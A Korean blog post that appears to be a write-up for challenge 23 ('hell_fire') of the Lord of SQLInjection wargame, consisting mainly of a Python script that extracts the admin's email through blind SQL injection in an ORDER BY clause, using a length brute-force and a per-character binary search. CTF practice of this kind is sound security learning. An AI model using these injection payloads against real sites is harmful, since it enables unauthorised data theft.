LOS - 23번 hell_fire

sookyeong·2022년 3월 30일
0

[23] hell_fire


문제


풀이

LoS 23번 Python 자동화 코드이다.

import requests

def send(param):
    url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
    cookie = "sdrjk57hqa404dvtb3akcpfvk1"
    head = {"PHPSESSID":f"{cookie}"}
    my_url = url+param
    res = requests.get(my_url, cookies=head)
    return res.text

print("💘 LoS 23을 시작합니다")

for num in range(0,100):
    param=f"?order=if(id='admin' and length(email)={num}, 'id', 'score')"
    if("200</td></tr><tr><td>rubiya" in send(param)):
        print(f"👏 email의 길이는 {num}입니다!")
        break

ans=""

for len in range(1, num+1):
    start = 32
    end = 127
    while True:
        middle = round((start+end)/2)
        param=f"?order=if(id='admin' and ascii(substr(email,{len},1))>={middle}, 'id', 'score') %23"
        if("200</td></tr><tr><td>rubiya" in send(param)):
            param=f"?order=if(id='admin' and ascii(substr(email,{len},1))={middle}, 'id', 'score') %23"
            if("200</td></tr><tr><td>rubiya" in send(param)):
                print(f"{len}번째 문자 → {chr(middle)}")
                ans+=chr(middle)
                break
            else:
                start = middle
                continue
        else:
            end = middle
            continue

print(f"👏 email의 정체는 [{ans}]입니다!")

admin 계정의 email은 admin_secure_email@emai1.com 임을 확인할 수 있다.

  • @ 뒷부분을 보면... emai1 이다. 깨알같은 함정?

결과

profile
actions speak louder than words

0개의 댓글